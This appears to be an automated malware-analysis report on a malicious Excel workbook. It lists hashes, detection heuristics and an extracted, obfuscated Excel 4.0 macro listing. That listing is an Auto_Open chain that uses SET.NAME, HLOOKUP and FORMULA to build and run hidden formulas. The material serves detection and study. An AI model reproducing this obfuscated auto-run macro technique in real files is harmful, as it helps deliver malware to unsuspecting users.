Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a646719245c0eafe…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:07 Authoring application: Microsoft Excel First seen: 2021-02-18
MD5: 4eeb138039e703a1556a9c16e47b7072 SHA-1: 9693ed6b052768eb8d85e7a328ca419ece4b53a4 SHA-256: a646719245c0eafe045159ff3344a4e53cb753826b36baf6b1a9fe672cbc7466
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6505 bytes
SHA-256: 330f8454d199c1186997909713808aae34539f598f3e235866b2d5a4df56b37a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wphJ
' 0018     26 LABEL : Cell Value, String Constant - aqoglpwVYGi len=0 
' 0018     25 LABEL : Cell Value, String Constant - ARAslpMOEX len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H167 
' 0018     21 LABEL : Cell Value, String Constant - BCchcT len=0 
' 0018     20 LABEL : Cell Value, String Constant - dgdGl len=0 
' 0018     27 LABEL : Cell Value, String Constant - DXfBeexVeniz len=0 
' 0018     25 LABEL : Cell Value, String Constant - eItYWkThuK len=0 
' 0018     24 LABEL : Cell Value, String Constant - eQquoDXTa len=0 
' 0018     27 LABEL : Cell Value, String Constant - ifmRAjKRYCbv len=0 
' 0018     27 LABEL : Cell Value, String Constant - JEEgIUJIcmsw len=0 
' 0018     21 LABEL : Cell Value, String Constant - LuiyuB len=0 
' 0018     20 LABEL : Cell Value, String Constant - NedrG len=0 
' 0018     25 LABEL : Cell Value, String Constant - RaBKZwzbwy len=0 
' 0018     26 LABEL : Cell Value, String Constant - seyqjdrjxAK len=0 
' 0018     25 LABEL : Cell Value, String Constant - SPZJsLjtrq len=0 
' 0018     27 LABEL : Cell Value, String Constant - tvtTOuuJWUey len=0 
' 0018     22 LABEL : Cell Value, String Constant - ublQfwR len=0 
' 0018     21 LABEL : Cell Value, String Constant - xBGQQz len=0 
' 0018     26 LABEL : Cell Value, String Constant - xiqWwVGohkH len=0 
' 0018     23 LABEL : Cell Value, String Constant - xsSBGnZk len=0 
' 0018     22 LABEL : Cell Value, String Constant - zSNXOhS len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wphJ,H67,"SET.NAME("xiqWwVGohkH",VALUE("0"))",""
'  wphJ,H72,"SET.NAME("eQquoDXTa",xiqWwVGohkH)",""
'  wphJ,H77,"SET.NAME("dgdGl",xiqWwVGohkH)",""
'  wphJ,H82,"SET.NAME("aqoglpwVYGi",COUNTA(ublQfwR))",""
'  wphJ,H85,"SET.NAME("zSNXOhS",COUNTA(JEEgIUJIcmsw))",""
'  wphJ,H87,[],""
'  wphJ,H90,"SET.NAME("tvtTOuuJWUey","")",""
'  wphJ,H92,"eQquoDXTa",""
'  wphJ,H96,"SET.NAME("BCchcT",HLOOKUP("*",ublQfwR,eQquoDXTa,FALSE))",""
'  wphJ,H101,"xsSBGnZk",""
'  wphJ,H106,"SET.NAME("LuiyuB",xiqWwVGohkH)",""
'  wphJ,H108,[],""
'  wphJ,H112,"LuiyuB",""
'  wphJ,H117,"ifmRAjKRYCbv",""
'  wphJ,H122,"ARAslpMOEX",""
'  wphJ,H125,"seyqjdrjxAK",""
'  wphJ,H128,"SET.NAME("DXfBeexVeniz",VALUE(HLOOKUP("*",JEEgIUJIcmsw,seyqjdrjxAK,FALSE)))",""
'  wphJ,H130,"NedrG",""
'  wphJ,H135,"tvtTOuuJWUey",""
'  wphJ,H137,"dgdGl",""
'  wphJ,H142,NEXT(),""
'  wphJ,H147,"eItYWkThuK",""
'  wphJ,H151,"SET.NAME("f",INT(T(FORMULA(T(tvtTOuuJWUey)&"",""&T(eItYWkThuK)))))",""
'  wphJ,H156,"RaBKZwzbwy",""
'  wphJ,H161,NEXT(),""
'  wphJ,H164,RETURN(),""
'  wphJ,H194,"SET.NAME("SPZJsLjtrq",H67)",""
'  wphJ,H196,"ublQfwR",""
'  wphJ,H199,"SET.NAME("JEEgIUJIcmsw",R83C12)",""
'  wphJ,H201,"SET.NAME("RaBKZwzbwy",208)",""
'  wphJ,H205,"SET.NAME("xBGQQz",8)",""
'  wphJ,H207,SPZJsLjtrq(),""
'  wphJ,H208,HALT(),""

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